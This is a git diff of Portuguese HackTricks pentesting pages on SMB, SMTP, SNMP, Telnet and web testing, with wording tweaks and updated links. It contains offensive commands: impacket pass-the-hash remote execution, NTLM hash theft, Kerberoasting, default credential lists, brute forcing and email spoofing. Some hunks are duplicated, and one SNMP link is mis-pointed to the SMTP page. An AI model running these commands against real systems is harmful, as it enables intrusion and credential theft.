### [AtExec](../windows-hardening/ntlm/atexec.md)
Execute comandos via o Agendador de Tarefas (usando _\pipe\atsvc_ via SMB).\
Em **kali** está localizado em /usr/share/doc/python3-impacket/examples/
No **kali**, está localizado em /usr/share/doc/python3-impacket/examples/
```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
@ -452,7 +452,7 @@ Que são usadas por alguns navegadores e ferramentas (como Skype)
## Roubo de NTLM
Semelhante ao SMB Trapping, plantar arquivos maliciosos em um sistema alvo (via SMB, por exemplo) pode provocar uma tentativa de autenticação SMB, permitindo que o hash NetNTLMv2 seja interceptado com uma ferramenta como Responder. O hash pode então ser quebrado offline ou usado em um [ataque de retransmissão SMB](pentesting-smb.md#smb-relay-attack).
Semelhante ao SMB Trapping, plantar arquivos maliciosos em um sistema alvo (via SMB, por exemplo) pode provocar uma tentativa de autenticação SMB, permitindo que o hash NetNTLMv2 seja interceptado com uma ferramenta como o Responder. O hash pode então ser quebrado offline ou usado em um [ataque de retransmissão SMB](pentesting-smb.md#smb-relay-attack).
[Veja: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
@ -496,7 +496,7 @@ GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html
Entry_2:
Name: Enum4Linux

View File

@ -12,7 +12,7 @@ O _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* é um protocolo de s
Tecnicamente, a Porta 139 é referida como NBT over IP, enquanto a Porta 445 é identificada como SMB over IP. O acrônimo **SMB** significa **Server Message Blocks**, que também é modernamente conhecido como **Common Internet File System (CIFS)**. Como um protocolo de rede da camada de aplicação, SMB/CIFS é utilizado principalmente para permitir o acesso compartilhado a arquivos, impressoras, portas seriais e facilitar várias formas de comunicação entre nós em uma rede.
Por exemplo, no contexto do Windows, é destacado que o SMB pode operar diretamente sobre TCP/IP, eliminando a necessidade de NetBIOS sobre TCP/IP, através da utilização da porta 445. Por outro lado, em sistemas diferentes, a utilização da porta 139 é observada, indicando que o SMB está sendo executado em conjunto com NetBIOS sobre TCP/IP.
Por exemplo, no contexto do Windows, é destacado que o SMB pode operar diretamente sobre TCP/IP, eliminando a necessidade de NetBIOS sobre TCP/IP, através da utilização da porta 445. Por outro lado, em diferentes sistemas, a utilização da porta 139 é observada, indicando que o SMB está sendo executado em conjunto com NetBIOS sobre TCP/IP.
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
@ -32,7 +32,7 @@ O acesso ao compartilhamento IPC$ pode ser obtido através de uma sessão nula a
- Informações sobre os compartilhamentos SMB disponíveis
- A política de segurança do sistema efetiva
Essa funcionalidade é crítica para administradores de rede e profissionais de segurança avaliarem a postura de segurança dos serviços SMB (Server Message Block) em uma rede. O `enum4linux` fornece uma visão abrangente do ambiente SMB do sistema alvo, o que é essencial para identificar vulnerabilidades potenciais e garantir que os serviços SMB estejam devidamente protegidos.
Essa funcionalidade é crítica para administradores de rede e profissionais de segurança avaliarem a postura de segurança dos serviços SMB (Server Message Block) em uma rede. O `enum4linux` fornece uma visão abrangente do ambiente SMB do sistema alvo, que é essencial para identificar vulnerabilidades potenciais e garantir que os serviços SMB estejam devidamente protegidos.
```bash
enum4linux -a target_ip
```
@ -81,15 +81,15 @@ searchsploit microsoft smb
```
### **Credenciais** Possíveis
| **Nome(s) de usuário** | **Senhas comuns** |
| ---------------------- | ---------------------------------------- |
| _(em branco)_ | _(em branco)_ |
| convidado | _(em branco)_ |
| **Nome(s) de usuário** | **Senhas comuns** |
| ---------------------- | --------------------------------------- |
| _(em branco)_ | _(em branco)_ |
| convidado | _(em branco)_ |
| Administrador, admin | _(em branco)_, senha, administrador, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| teste, lab, demo | senha, teste, lab, demo |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| teste, lab, demo | senha, teste, lab, demo |
### Força Bruta
@ -169,7 +169,7 @@ rpcclient-enumeration.md
### Listar pastas compartilhadas
É sempre recomendável verificar se você pode acessar algo; se você não tiver credenciais, tente usar **null** **credentials/guest user**.
É sempre recomendado verificar se você pode acessar algo, se você não tiver credenciais, tente usar **null** **credentials/guest user**.
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@ -313,7 +313,7 @@ sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'De
Especialmente interessantes nas compartilhamentos são os arquivos chamados **`Registry.xml`** pois **podem conter senhas** para usuários configurados com **autologon** via Política de Grupo. Ou arquivos **`web.config`** pois contêm credenciais.
> [!NOTE]
> O **compartilhamento SYSVOL** é **legível** por todos os usuários autenticados no domínio. Nele você pode **encontrar** muitos scripts diferentes de batch, VBScript e PowerShell.\
> O **compartilhamento SYSVOL** é **legível** por todos os usuários autenticados no domínio. Nele você pode **encontrar** muitos scripts diferentes em batch, VBScript e PowerShell.\
> Você deve **verificar** os **scripts** dentro dele, pois pode **encontrar** informações sensíveis, como **senhas**.
## Ler Registro
@ -330,7 +330,7 @@ A **configuração padrão de** um **servidor Samba** geralmente está localizad
| **Configuração** | **Descrição** |
| -------------------------- | ----------------------------------------------------------------- |
| `browseable = yes` | Permitir listar compartilhamentos disponíveis no compartilhamento atual? |
| `browseable = yes` | Permitir listar os compartilhamentos disponíveis no compartilhamento atual? |
| `read only = no` | Proibir a criação e modificação de arquivos? |
| `writable = yes` | Permitir que os usuários criem e modifiquem arquivos? |
| `guest ok = yes` | Permitir conectar-se ao serviço sem usar uma senha? |
@ -393,14 +393,14 @@ Usando **parameter**`-k` você pode autenticar contra **kerberos** em vez de **N
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
Execute stealthily um shell de comando sem tocar no disco ou executar um novo serviço usando DCOM via **port 135.**\
Em **kali** está localizado em /usr/share/doc/python3-impacket/examples/
No **kali** está localizado em /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
Usando **parameter**`-k` você pode autenticar contra **kerberos** em vez de **NTLM**
Usando **parameter** `-k` você pode se autenticar contra **kerberos** em vez de **NTLM**
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
@ -452,7 +452,7 @@ Que são usadas por alguns navegadores e ferramentas (como Skype)
## Roubo de NTLM
Semelhante ao SMB Trapping, plantar arquivos maliciosos em um sistema alvo (via SMB, por exemplo) pode provocar uma tentativa de autenticação SMB, permitindo que o hash NetNTLMv2 seja interceptado com uma ferramenta como Responder. O hash pode então ser quebrado offline ou usado em um [ataque de retransmissão SMB](#smb-relay-attack).
Semelhante ao SMB Trapping, plantar arquivos maliciosos em um sistema alvo (via SMB, por exemplo) pode provocar uma tentativa de autenticação SMB, permitindo que o hash NetNTLMv2 seja interceptado com uma ferramenta como o Responder. O hash pode então ser quebrado offline ou usado em um [ataque de retransmissão SMB](#smb-relay-attack).
[Veja: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
@ -496,7 +496,7 @@ GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html
Entry_2:
Name: Enum4Linux

View File

@ -6,7 +6,7 @@
O **Simple Mail Transfer Protocol (SMTP)** é um protocolo utilizado dentro da suíte TCP/IP para o **envio e recebimento de e-mails**. Devido às suas limitações em enfileirar mensagens no lado do destinatário, o SMTP é frequentemente empregado juntamente com **POP3 ou IMAP**. Esses protocolos adicionais permitem que os usuários armazenem mensagens em uma caixa de correio no servidor e as baixem periodicamente.
Na prática, é comum que **programas de e-mail** utilizem **SMTP para enviar e-mails**, enquanto utilizam **POP3 ou IMAP para recebê-los**. Em sistemas baseados em Unix, **sendmail** se destaca como o servidor SMTP mais frequentemente usado para fins de e-mail. O pacote comercial conhecido como Sendmail abrange um servidor POP3. Além disso, **Microsoft Exchange** fornece um servidor SMTP e oferece a opção de incluir suporte a POP3.
Na prática, é comum que **programas de e-mail** utilizem **SMTP para enviar e-mails**, enquanto utilizam **POP3 ou IMAP para recebê-los**. Em sistemas baseados em Unix, o **sendmail** se destaca como o servidor SMTP mais frequentemente usado para fins de e-mail. O pacote comercial conhecido como Sendmail abrange um servidor POP3. Além disso, o **Microsoft Exchange** fornece um servidor SMTP e oferece a opção de incluir suporte a POP3.
**Porta padrão:** 25,465(ssl),587(ssl)
```
@ -17,7 +17,7 @@ PORT STATE SERVICE REASON VERSION
Se você tiver a oportunidade de **fazer a vítima lhe enviar um email** (via formulário de contato da página da web, por exemplo), faça isso porque **você pode aprender sobre a topologia interna** da vítima vendo os cabeçalhos do email.
Você também pode obter um email de um servidor SMTP tentando **enviar para esse servidor um email para um endereço inexistente** (porque o servidor enviará ao atacante um email NDN). Mas, certifique-se de que você envie o email de um endereço permitido (verifique a política SPF) e que você possa receber mensagens NDN.
Você também pode obter um email de um servidor SMTP tentando **enviar para esse servidor um email para um endereço inexistente** (porque o servidor enviará para o atacante um email NDN). Mas, certifique-se de que você envie o email de um endereço permitido (verifique a política SPF) e que você possa receber mensagens NDN.
Você também deve tentar **enviar conteúdos diferentes porque pode encontrar informações mais interessantes** nos cabeçalhos, como: `X-Virus-Scanned: by av.domain.com`\
Você deve enviar o arquivo de teste EICAR.\
@ -148,11 +148,11 @@ Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>
```
## Relatórios DSN
## DSN Reports
**Relatórios de Notificação de Status de Entrega**: Se você enviar um **email** para uma organização para um **endereço inválido**, a organização notificará que o endereço era inválido enviando um **email de volta para você**. Os **cabeçalhos** do email retornado **contêm** possíveis **informações sensíveis** (como o endereço IP dos serviços de email que interagiram com os relatórios ou informações de software antivírus).
**Relatórios de Notificação de Status de Entrega**: Se você enviar um **email** para uma organização para um **endereço inválido**, a organização notificará que o endereço era inválido enviando um **email de volta para você**. **Os cabeçalhos** do email retornado **contêm** possíveis **informações sensíveis** (como o endereço IP dos serviços de email que interagiram com os relatórios ou informações do software antivírus).
## [Comandos](smtp-commands.md)
## [Commands](smtp-commands.md)
### Enviando um Email do console linux
```bash
@ -219,7 +219,7 @@ print("[***]successfully sent email to %s:" % (msg['To']))
## SMTP Smuggling
A vulnerabilidade de SMTP Smuggling permitiu contornar todas as proteções SMTP (consulte a próxima seção para mais informações sobre as proteções). Para mais informações sobre SMTP Smuggling, consulte:
A vulnerabilidade de SMTP Smuggling permitiu contornar todas as proteções SMTP (verifique a próxima seção para mais informações sobre as proteções). Para mais informações sobre SMTP Smuggling, consulte:
{{#ref}}
smtp-smuggling.md
@ -262,7 +262,7 @@ Você geralmente notará **no final de cada política SPF** algo como: **\~all**
Cada mecanismo dentro da política pode ser prefixado por um dos quatro qualificadores para definir o resultado pretendido:
- **`+`**: Corresponde a um resultado PASS. Por padrão, os mecanismos assumem este qualificativo, tornando `+mx` equivalente a `mx`.
- **`+`**: Corresponde a um resultado PASS. Por padrão, os mecanismos assumem este qualificador, tornando `+mx` equivalente a `mx`.
- **`?`**: Representa um resultado NEUTRAL, tratado de forma semelhante a NONE (sem política específica).
- **`~`**: Denota SOFTFAIL, servindo como um meio-termo entre NEUTRAL e FAIL. E-mails que atendem a esse resultado são tipicamente aceitos, mas marcados de acordo.
- **`-`**: Indica FAIL, sugerindo que o e-mail deve ser rejeitado.
@ -286,7 +286,7 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36
dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
```
Tradicionalmente, era possível falsificar qualquer nome de domínio que não tivesse um registro SPF correto/qualquer. **Hoje em dia**, se **o email** vem de um **domínio sem um registro SPF válido**, provavelmente será **rejeitado/marcado como não confiável automaticamente**.
Tradicionalmente, era possível falsificar qualquer nome de domínio que não tivesse um registro SPF correto ou nenhum registro. **Hoje em dia**, se um **email** vem de um **domínio sem um registro SPF válido**, provavelmente será **rejeitado/marcado como não confiável automaticamente**.
Para verificar o SPF de um domínio, você pode usar ferramentas online como: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
@ -330,18 +330,18 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
| rua | URI de relatório de relatórios agregados | rua=mailto:aggrep@example.com |
| p | Política para o domínio organizacional | p=quarantine |
| sp | Política para subdomínios do OD | sp=reject |
| adkim | Modo de alinhamento para DKIM | adkim=s |
| aspf | Modo de alinhamento para SPF | aspf=r |
| adkim | Modo de alinhamento para DKIM | adkim=s |
| aspf | Modo de alinhamento para SPF | aspf=r |
### **E os Subdomínios?**
**De** [**aqui**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
Você precisa ter registros SPF separados para cada subdomínio do qual deseja enviar e-mails.\
O seguinte foi originalmente postado em openspf.org, que costumava ser um ótimo recurso para esse tipo de coisa.
O seguinte foi originalmente postado no openspf.org, que costumava ser um ótimo recurso para esse tipo de coisa.
> A Pergunta Demon: E os subdomínios?
> A Pergunta Demoníaca: E os subdomínios?
>
> Se eu receber um e-mail de pielovers.demon.co.uk, e não houver dados SPF para pielovers, devo voltar um nível e testar SPF para demon.co.uk? Não. Cada subdomínio na Demon é um cliente diferente, e cada cliente pode ter sua própria política. Não faria sentido que a política da Demon se aplicasse a todos os seus clientes por padrão; se a Demon quiser fazer isso, pode configurar registros SPF para cada subdomínio.
> Se eu receber um e-mail de pielovers.demon.co.uk, e não houver dados SPF para pielovers, devo voltar um nível e testar SPF para demon.co.uk? Não. Cada subdomínio no Demon é um cliente diferente, e cada cliente pode ter sua própria política. Não faria sentido que a política do Demon se aplicasse a todos os seus clientes por padrão; se o Demon quiser fazer isso, pode configurar registros SPF para cada subdomínio.
>
> Portanto, o conselho para os editores de SPF é o seguinte: você deve adicionar um registro SPF para cada subdomínio ou nome de host que tenha um registro A ou MX.
>
@ -351,13 +351,13 @@ Isso faz sentido - um subdomínio pode muito bem estar em uma localização geog
### **Relay Aberto**
Quando os e-mails são enviados, garantir que não sejam marcados como spam é crucial. Isso é frequentemente alcançado através do uso de um **servidor de relay que é confiável pelo destinatário**. No entanto, um desafio comum é que os administradores podem não estar totalmente cientes de quais **intervalos de IP são seguros para permitir**. Essa falta de compreensão pode levar a erros na configuração do servidor SMTP, um risco frequentemente identificado em avaliações de segurança.
Quando os e-mails são enviados, garantir que não sejam marcados como spam é crucial. Isso é frequentemente alcançado através do uso de um **servidor de relay que é confiável pelo destinatário**. No entanto, um desafio comum é que os administradores podem não estar totalmente cientes de quais **intervalos de IP são seguros para permitir**. Essa falta de entendimento pode levar a erros na configuração do servidor SMTP, um risco frequentemente identificado em avaliações de segurança.
Uma solução alternativa que alguns administradores usam para evitar problemas de entrega de e-mails, especialmente em relação a comunicações com clientes potenciais ou em andamento, é **permitir conexões de qualquer endereço IP**. Isso é feito configurando o parâmetro `mynetworks` do servidor SMTP para aceitar todos os endereços IP, como mostrado abaixo:
```bash
mynetworks = 0.0.0.0/0
```
Para verificar se um servidor de e-mail é um open relay (o que significa que ele pode encaminhar e-mails de qualquer fonte externa), a ferramenta `nmap` é comumente usada. Ela inclui um script específico projetado para testar isso. O comando para realizar uma varredura detalhada em um servidor (por exemplo, com IP 10.10.10.10) na porta 25 usando `nmap` é:
Para verificar se um servidor de email é um open relay (o que significa que ele pode encaminhar emails de qualquer fonte externa), a ferramenta `nmap` é comumente usada. Ela inclui um script específico projetado para testar isso. O comando para realizar uma varredura detalhada em um servidor (por exemplo, com IP 10.10.10.10) na porta 25 usando `nmap` é:
```bash
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
@ -383,7 +383,7 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TE
```
> [!WARNING]
> Se você receber algum **erro ao usar a biblioteca dkim python** ao analisar a chave, sinta-se à vontade para usar a seguinte.\
> **NOTA**: Esta é apenas uma solução rápida para fazer verificações rápidas em casos onde, por algum motivo, a chave privada openssl **não pode ser analisada pelo dkim**.
> **NOTA**: Esta é apenas uma correção rápida para fazer verificações rápidas em casos onde, por algum motivo, a chave privada openssl **não pode ser analisada pelo dkim**.
>
> ```
> -----BEGIN RSA PRIVATE KEY-----
@ -409,7 +409,7 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TE
{{#tab name="PHP"}}
<pre class="language-php"><code class="lang-php"><strong># Isso enviará uma mensagem não assinada
</strong><strong>mail("your_email@gmail.com", "Assunto do Teste!", "hey! Este é um teste", "From: administrator@victim.com");
</strong><strong>mail("your_email@gmail.com", "Test Subject!", "hey! This is a test", "From: administrator@victim.com");
</strong></code></pre>
{{#endtab}}
@ -520,7 +520,7 @@ Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
https://book.hacktricks.xyz/pentesting/pentesting-smtp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
Entry_2:
Name: Banner Grab

View File

@ -11,11 +11,11 @@ PORT STATE SERVICE REASON VERSION
161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public)
```
> [!NOTE]
> O SNMP também usa a porta **162/UDP** para **traps**. Estes são pacotes de dados **enviados do servidor SNMP para o cliente sem serem explicitamente solicitados**.
> O SNMP também usa a porta **162/UDP** para **traps**. Estes são **pacotes de dados enviados do servidor SNMP para o cliente sem serem explicitamente solicitados**.
### MIB
Para garantir que o acesso SNMP funcione entre fabricantes e com diferentes combinações cliente-servidor, a **Management Information Base (MIB)** foi criada. MIB é um **formato independente para armazenar informações de dispositivos**. Um MIB é um **arquivo de texto** no qual todos os **objetos SNMP** consultáveis de um dispositivo estão listados em uma hierarquia de árvore **padronizada**. Ele contém pelo menos um **`Object Identifier` (`OID`)**, que, além do **endereço único** necessário e um **nome**, também fornece informações sobre o tipo, direitos de acesso e uma descrição do respectivo objeto.\
Para garantir que o acesso SNMP funcione entre fabricantes e com diferentes combinações cliente-servidor, a **Management Information Base (MIB)** foi criada. MIB é um **formato independente para armazenar informações de dispositivos**. Um MIB é um arquivo **texto** no qual todos os **objetos SNMP** consultáveis de um dispositivo estão listados em uma hierarquia de árvore **padronizada**. Ele contém pelo menos um `Object Identifier` (`OID`), que, além do **endereço único** necessário e um **nome**, também fornece informações sobre o tipo, direitos de acesso e uma descrição do respectivo objeto.\
Os arquivos MIB são escritos no formato de texto ASCII baseado em `Abstract Syntax Notation One` (`ASN.1`). As **MIBs não contêm dados**, mas explicam **onde encontrar quais informações** e como elas se parecem, quais valores retornam para o OID específico ou qual tipo de dado é utilizado.
### OIDs
@ -29,7 +29,7 @@ Além disso, os fornecedores têm a liberdade de estabelecer ramificações priv
![](<../../images/SNMP_OID_MIB_Tree (1).png>)
Você pode **navegar** por uma **árvore OID** na web aqui: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) ou **ver o que um OID significa** (como `1.3.6.1.2.1.1`) acessando [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
Existem alguns **OIDs bem conhecidos** como os dentro de [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) que referenciam variáveis do Simple Network Management Protocol (SNMP) definidas no MIB-2. E a partir dos **OIDs pendentes deste** você pode obter alguns dados interessantes do host (dados do sistema, dados da rede, dados de processos...)
Existem alguns **OIDs bem conhecidos** como os que estão dentro de [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) que referenciam variáveis do Simple Network Management Protocol (SNMP) definidas no MIB-2. E a partir dos **OIDs pendentes deste** você pode obter alguns dados interessantes do host (dados do sistema, dados da rede, dados de processos...)
### **Exemplo de OID**
@ -73,7 +73,7 @@ Existem 2 versões importantes do SNMP:
### Community Strings
Como mencionado anteriormente, **para acessar as informações salvas no MIB você precisa conhecer a community string nas versões 1 e 2/2c e as credenciais na versão 3.**\
Como mencionado antes, **para acessar as informações salvas no MIB você precisa conhecer a community string nas versões 1 e 2/2c e as credenciais na versão 3.**\
Existem **2 tipos de community strings**:
- **`public`** principalmente funções **somente leitura**
@ -121,7 +121,7 @@ nmap --script "snmp* and not snmp-brute" <target>
braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
```
Graças a consultas estendidas (download-mibs), é possível enumerar ainda mais sobre o sistema com o seguinte comando:
Graças às consultas estendidas (download-mibs), é possível enumerar ainda mais sobre o sistema com o seguinte comando:
```bash
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
```
@ -216,7 +216,7 @@ Você pode usar _**NetScanTools**_ para **modificar valores**. Você precisará
## Spoofing
Se houver um ACL que permite apenas alguns IPs consultar o serviço SNMP, você pode falsificar um desses endereços dentro do pacote UDP e monitorar o tráfego.
Se houver uma ACL que permite apenas alguns IPs consultar o serviço SMNP, você pode falsificar um desses endereços dentro do pacote UDP e monitorar o tráfego.
## Examinar arquivos de configuração SNMP
@ -236,7 +236,7 @@ Description: Notes for SNMP
Note: |
SNMP - Simple Network Management Protocol is a protocol used to monitor different devices in the network (like routers, switches, printers, IoTs...).
https://book.hacktricks.xyz/pentesting/pentesting-snmp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
Entry_2:
Name: SNMP Check

View File

@ -25,7 +25,7 @@ O script `telnet-ntlm-info.nse` obterá informações NTLM (versões do Windows)
Do [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): No Protocolo TELNET existem várias "**opções**" que serão sancionadas e podem ser usadas com a estrutura "**DO, DON'T, WILL, WON'T**" para permitir que um usuário e um servidor concordem em usar um conjunto mais elaborado (ou talvez apenas diferente) de convenções para sua conexão TELNET. Essas opções podem incluir a mudança do conjunto de caracteres, o modo de eco, etc.
**Eu sei que é possível enumerar essas opções, mas não sei como, então me avise se você souber como.**
**Eu sei que é possível enumerar essas opções, mas não sei como, então me avise se souber como.**
### [Força bruta](../generic-hacking/brute-force.md#telnet)
@ -48,7 +48,7 @@ Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip
https://book.hacktricks.xyz/pentesting/pentesting-telnet
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html
Entry_2:
Name: Banner Grab

View File

@ -17,7 +17,7 @@ PORT STATE SERVICE
nc -v domain.com 80 # GET / HTTP/1.0
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
```
### Orientação de API Web
### Orientação para API Web
{{#ref}}
web-api-pentesting.md
@ -31,7 +31,7 @@ web-api-pentesting.md
- [ ] Alguma **vulnerabilidade conhecida** da versão da tecnologia?
- [ ] Usando alguma **tecnologia bem conhecida**? Algum **truque útil** para extrair mais informações?
- [ ] Algum **scanner especializado** para rodar (como wpscan)?
- [ ] Lance **scanners de propósitos gerais**. Você nunca sabe se eles vão encontrar algo ou se vão encontrar alguma informação interessante.
- [ ] Lance **scanners de propósitos gerais**. Você nunca sabe se eles vão encontrar algo ou se vão descobrir alguma informação interessante.
- [ ] Comece com as **verificações iniciais**: **robots**, **sitemap**, erro **404** e **varredura SSL/TLS** (se HTTPS).
- [ ] Comece a **spiderar** a página web: É hora de **encontrar** todos os possíveis **arquivos, pastas** e **parâmetros sendo usados.** Além disso, verifique por **descobertas especiais**.
- [ ] _Note que sempre que um novo diretório for descoberto durante brute-forcing ou spidering, ele deve ser spiderado._
@ -54,7 +54,7 @@ whatweb -a 3 <URL> #Aggresive
webtech -u <URL>
webanalyze -host https://google.com -crawl 2
```
Search **for** [**vulnerabilidades da versão da aplicação web**](../../generic-hacking/search-exploits.md)
Search **for** [**vulnerabilidades da aplicação web** **versão**](../../generic-hacking/search-exploits.md)
### **Verifique se há algum WAF**
@ -98,7 +98,7 @@ Alguns **truques** para **encontrar vulnerabilidades** em diferentes **tecnologi
- [**Wordpress**](wordpress.md)
- [**Electron Desktop (XSS para RCE)**](electron-desktop-apps/index.html)
_Leve em conta que o **mesmo domínio** pode estar usando **diferentes tecnologias** em diferentes **portas**, **pastas** e **subdomínios**._\
_Leve em consideração que o **mesmo domínio** pode estar usando **diferentes tecnologias** em diferentes **portas**, **pastas** e **subdomínios**._\
Se a aplicação web estiver usando alguma **tecnologia/plataforma bem conhecida listada acima** ou **qualquer outra**, não se esqueça de **pesquisar na Internet** novos truques (e me avise!).
### Revisão de Código Fonte
@ -166,7 +166,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
Servidores web podem **comportar-se de maneira inesperada** quando dados estranhos são enviados a eles. Isso pode abrir **vulnerabilidades** ou **divulgar informações sensíveis**.
- Acesse **páginas falsas** como /whatever_fake.php (.aspx,.html,.etc)
- Acesse **páginas falsas** como /whatever_fake.php (.aspx, .html, etc)
- **Adicione "\[]", "]]" e "\[\["** nos **valores de cookie** e **valores de parâmetro** para criar erros
- Gere erro fornecendo entrada como **`/~randomthing/%s`** no **final** da **URL**
- Tente **diferentes Verbos HTTP** como PATCH, DEBUG ou errados como FAKE
@ -175,8 +175,8 @@ Servidores web podem **comportar-se de maneira inesperada** quando dados estranh
Se você descobrir que o **WebDav** está **ativado**, mas não tem permissões suficientes para **fazer upload de arquivos** na pasta raiz, tente:
- **Forçar Brute Force** de credenciais
- **Fazer upload de arquivos** via WebDav para o **restante** das **pastas encontradas** dentro da página web. Você pode ter permissões para fazer upload de arquivos em outras pastas.
- **Forçar Brute** credenciais
- **Fazer upload de arquivos** via WebDav para o **resto** das **pastas encontradas** dentro da página web. Você pode ter permissões para fazer upload de arquivos em outras pastas.
### **Vulnerabilidades SSL/TLS**
@ -250,7 +250,7 @@ Ferramentas:
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
- [**Dicionário incluído do Dirsearch**](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
- [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
- [Listas de palavras Assetnote](https://wordlists.assetnote.io)
- [Assetnote wordlists](https://wordlists.assetnote.io)
- [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
- raft-large-directories-lowercase.txt
- directory-list-2.3-medium.txt
@ -277,7 +277,7 @@ _Nota que sempre que um novo diretório for descoberto durante a força bruta ou
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **Comentários:** Verifique os comentários de todos os arquivos, você pode encontrar **credenciais** ou **funcionalidade oculta**.
- Se você estiver jogando **CTF**, um truque "comum" é **esconder** **informações** dentro de comentários à **direita** da **página** (usando **centenas** de **espaços** para que você não veja os dados se abrir o código-fonte com o navegador). Outra possibilidade é usar **várias novas linhas** e **esconder informações** em um comentário na **parte inferior** da página web.
- **Chaves de API**: Se você **encontrar alguma chave de API**, há um guia que indica como usar chaves de API de diferentes plataformas: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
- **Chaves de API**: Se você **encontrar alguma chave de API** há um guia que indica como usar chaves de API de diferentes plataformas: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
